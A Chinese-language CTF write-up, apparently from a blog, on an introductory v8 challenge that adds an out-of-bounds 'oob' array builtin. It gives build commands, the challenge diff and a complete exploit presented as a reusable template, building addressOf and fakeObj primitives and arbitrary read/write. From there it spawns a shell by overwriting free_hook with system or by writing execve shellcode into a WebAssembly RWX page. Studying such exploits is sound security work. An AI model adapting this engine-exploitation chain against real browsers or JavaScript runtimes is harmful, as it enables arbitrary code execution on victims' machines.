文章目录
- 前言
- 参考
- 题目环境配置
- 漏洞分析
前言
一道入门级别的 v8 题目，不涉及太多的 v8 知识，很适合入门，对于这个题目，网上已经有很多分析文章，笔者不再为大家制造垃圾，仅仅记录一个模板，方便以后使用
参考
从一道CTF题零基础学V8漏洞利用
题目环境配置
关于 v8 的环境配置见笔者之前的文章，这里题目给了 diff 文件。我们需要回滚代码到指定版本，然后将 diff 给 apply 进去，最后就是正常的编译流程：
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply oob.diff
gclient sync -D # 别忘了 gclient sync 同步一下
漏洞分析
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,Builtins::kArrayPrototypeCopyWithin, 2, false);SimpleInstallFunction(isolate_, proto, "fill",Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);SimpleInstallFunction(isolate_, proto, "find",Builtins::kArrayPrototypeFind, 1, false);SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,return *final_length;}} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}BUILTIN(ArrayPush) {HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \\/* ArrayBuffer */ \/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {return Type::Receiver();case Builtins::kArrayUnshift:return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();// ArrayBuffer functions.case Builtins::kArrayBufferIsView:可以看到，这里将元素当作 Double 类型的数组
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
然后作者给了一些注释，连猜带懵可以知道这里存在数组越界，具体将上面给出的参考文章。
贴个 exp：
let debug = (o) => {%DebugPrint(o);%SystemBreak();
}let hexx = (str, num) => {print("\033[32m"+str+":\033[0m 0x"+num.toString(16));
}var raw_buf = new ArrayBuffer(8);
var d = new Float64Array(raw_buf);
var l = new BigUint64Array(raw_buf);function d2l(num)
{d[0] = num;return l[0];
}function l2d(num)
{l[0] = num;return d[0];
}var tmp = [1, 2];
var float_arr = [1.1, 1.2]
var obj_arr = [tmp, float_arr]var float_map = d2l(float_arr.oob());
var obj_map = d2l(obj_arr.oob());hexx("float_map", float_map);
hexx("obj_map", obj_map);function addressOf(obj)
{obj_arr[0] = obj;obj_arr.oob(l2d(float_map));let obj_addr = d2l(obj_arr[0]) - 1n;obj_arr.oob(l2d(obj_map));return obj_addr;
}function fakeObj(addr)
{float_arr[0] = l2d(addr+1n);float_arr.oob(l2d(obj_map));let fake_obj = float_arr[0];float_arr.oob(l2d(float_map));return fake_obj;
}var fake_obj_arr = [l2d(float_map), 0, 52.1, l2d(0x200000000n)];var fake_obj_arr_addr = addressOf(fake_obj_arr);
var fake_obj_addr = fake_obj_arr_addr - 0x20n;
hexx("fake_obj_arr_addr", fake_obj_arr_addr);
hexx("fake_obj_addr", fake_obj_addr);var fake_obj = fakeObj(fake_obj_addr);function arb_read(addr)
{fake_obj_arr[2] = l2d(addr+1n-0x10n);return d2l(fake_obj[0]) - 1n;
}function arb_write_fake(addr, value)
{fake_obj_arr[2] = l2d(addr+1n-0x10n);fake_obj[0] = l2d(value);
}var tmp_buf = new ArrayBuffer(0x20);
var arb_write_buf = new DataView(tmp_buf);
var arb_write_buf_addr = addressOf(arb_write_buf);
var arb_write_buf_buf_addr = arb_read(arb_write_buf_addr+0x18n);
var backing_store_addr = arb_write_buf_buf_addr+0x20n;
var backing_store = arb_read(arb_write_buf_buf_addr+0x20n);
hexx("arb_write_buf_addr", arb_write_buf_addr);
hexx("arb_write_buf_buf_addr", arb_write_buf_buf_addr);
hexx("backing_store_addr", backing_store_addr);
hexx("backing_store", backing_store);let exp_hook = () => {function get_shell(){var shell_str = new String("/bin/sh\0");}var tmp_addr = addressOf(tmp);var tmp_map = arb_read(tmp_addr);var tmp_construct_addr = arb_read(tmp_map+0x20n);var tmp_code_addr = arb_read(tmp_construct_addr+0x30n);var text_addr = arb_read(tmp_code_addr+0x2n+0x40n) + 1n;var text_base = text_addr - 0x94f780n;var malloc_got = text_base + 0x12AA9E0n - 0x679000n;var libc_base = arb_read(malloc_got) + 1n - 0x780e0n;var system = libc_base + 0x30290n;var free_hook = libc_base + 0x1cce48n;hexx("tmp_addr", tmp_addr);hexx("tmp_map", tmp_map);hexx("tmp_construct_addr", tmp_construct_addr);hexx("tmp_code_addr", tmp_code_addr);hexx("text_addr", text_addr);hexx("text_base", text_base);hexx("malloc_got", malloc_got);hexx("libc_base", libc_base);hexx("system_addr", system);hexx("free_hook", free_hook);arb_write_fake(backing_store_addr, free_hook);arb_write_buf.setFloat64(0, l2d(system), true);//arb_write_fake(backing_store_addr, backing_store);//arb_write_buf.setFloat64(0, l2d(0x68732f6e69622fn), true);get_shell();
}let exp_wasm = () => {var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);var wasm_module = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_module);var func = wasm_instance.exports.main;var wasm_instance_addr = addressOf(wasm_instance);var func_addr = addressOf(func);var rwx_addr = arb_read(wasm_instance_addr+0x88n) + 1n;hexx("func_addr", func_addr);hexx("wasm_instance_addr", wasm_instance_addr);hexx("rwx_addr", rwx_addr);var shellcode = [0x2fbb485299583b6an,0x5368732f6e69622fn,0x050f5e5457525f54n];arb_write_fake(backing_store_addr, rwx_addr);for (let i = 0; i < shellcode.length; i++){arb_write_buf.setFloat64(i*8, l2d(shellcode[i]), true);}func();
}
exp_hook();
//exp_wasm();
//debug(tmp);
效果如下：
劫持 wasm 写 shellcode：
劫持 free_hook：
